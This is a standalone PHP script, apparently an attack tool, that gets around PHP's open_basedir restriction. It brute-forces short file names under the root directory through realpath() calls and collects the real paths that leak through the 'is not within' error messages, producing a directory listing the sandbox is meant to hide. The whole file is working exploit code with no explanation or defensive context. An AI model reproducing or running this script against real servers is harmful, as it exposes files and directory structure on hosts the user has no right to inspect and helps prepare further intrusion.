<?php

    $windows = false;
    $alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
    $alphabet_len = strlen($alphabet);
    $maxlength = 4;
    $path = '/';

    $regexp = "/File\((.*)\) is not within/";
    $files = array();
    $s = array();

    error_reporting(0);
    set_error_handler("eh");
    function eh($errno, $errstr, $errfile, $errline) {
        global $regexp,$files,$windows;
        preg_match($regexp,$errstr,$o);
        if(isset($o[1]) && (($windows) ? (strpos($o[1],'&lt;&lt;')===false) : true)) {
            if(!in_array($o[1],$files))
                $files[]=$o[1];
        }
    }

    echo '<pre>open_basedir: ';
    if(ini_get('open_basedir'))
        echo "<font color=\"red\">".ini_get('open_basedir')."</font>\n";
    else
        echo "<font color=\"green\">false</font>\n";
    echo 'Directory listing of '.$path."\n";
    while(count($s = inc($s,0)) <= $maxlength) {
        check($s);
    }
    sort($files);
    foreach($files as $file)
        echo $file."\n";
    echo "</pre>";

    function check($s) {
        global $alphabet,$path,$windows;
        $str = 'a';
        for($i = 0; $i < count($s); $i++) {
            $str[$i] = $alphabet[$s[$i]];
        }
        if($windows)
            realpath($path.$str."<<");
        else
            realpath($path.$str);
    }

    function inc($s,$i) {
        global $alphabet_len;
        if(!isset($s[$i])) {
            $s[$i] = 0;
            return $s;
        }
        if($s[$i] + 1 == $alphabet_len) {
            $s[$i] = 0;
            $s = inc($s,$i+1);
        } else {
            $s[$i]++;
        }
        return $s;
    }
?>